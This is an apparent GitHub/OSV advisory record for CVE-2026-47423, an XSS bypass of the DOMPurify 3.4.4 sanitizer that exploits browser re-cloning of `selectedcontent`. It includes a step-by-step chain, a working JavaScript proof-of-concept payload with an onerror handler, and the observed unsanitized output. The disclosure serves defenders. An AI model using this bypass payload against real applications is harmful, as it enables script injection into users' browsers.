{"id":"GHSA-87xg-pxx2-7hvx","revision":"86207b44cd2243859e011ca951d50589","records":[{"revision":"86207b44cd2243859e011ca951d50589","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-87xg-pxx2-7hvx","aliases":["CVE-2026-47423"],"title":"DOMPurify XSS via selectedcontent re-clone","description":"### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1`\n4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize\n6. The returned string contains unsanitized markup inside `<selectedcontent>`.\n\n### PoC\n```js\nconst dirty =\n  '<select><button><selectedcontent></selectedcontent></button>' +\n  '<option selected=javascript:1>' +\n  '<img src=x onerror=alert(1)>x' +\n  '</option></select>';\n\nconst clean = DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n<select><button><selectedcontent><img src=\"x\" onerror=\"alert(1)\">x</selectedcontent></button><option><img src=\"x\">x</option></select>\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n<select><button><selectedcontent><img src=\"x\">x</selectedcontent></button><option><img src=\"x\">x</option></select>\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.","state":0,"publishedAt":"2026-06-01T14:07:29+00:00","modifiedAt":"2026-06-01T14:26:26.946773+00:00","affected":[{"ecosystem":"npm","name":"dompurify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.4.4"},{"kind":"fixed","version":"3.4.5"}]}],"versions":["3.4.4"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx","https://github.com/cure53/DOMPurify"],"sourceUrl":"https://github.com/advisories/GHSA-87xg-pxx2-7hvx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-87xg-pxx2-7hvx","identifiers":["GHSA-87xg-pxx2-7hvx","CVE-2026-47423"]},"retained":false,"historicalAffected":[]}],"coverage":[]}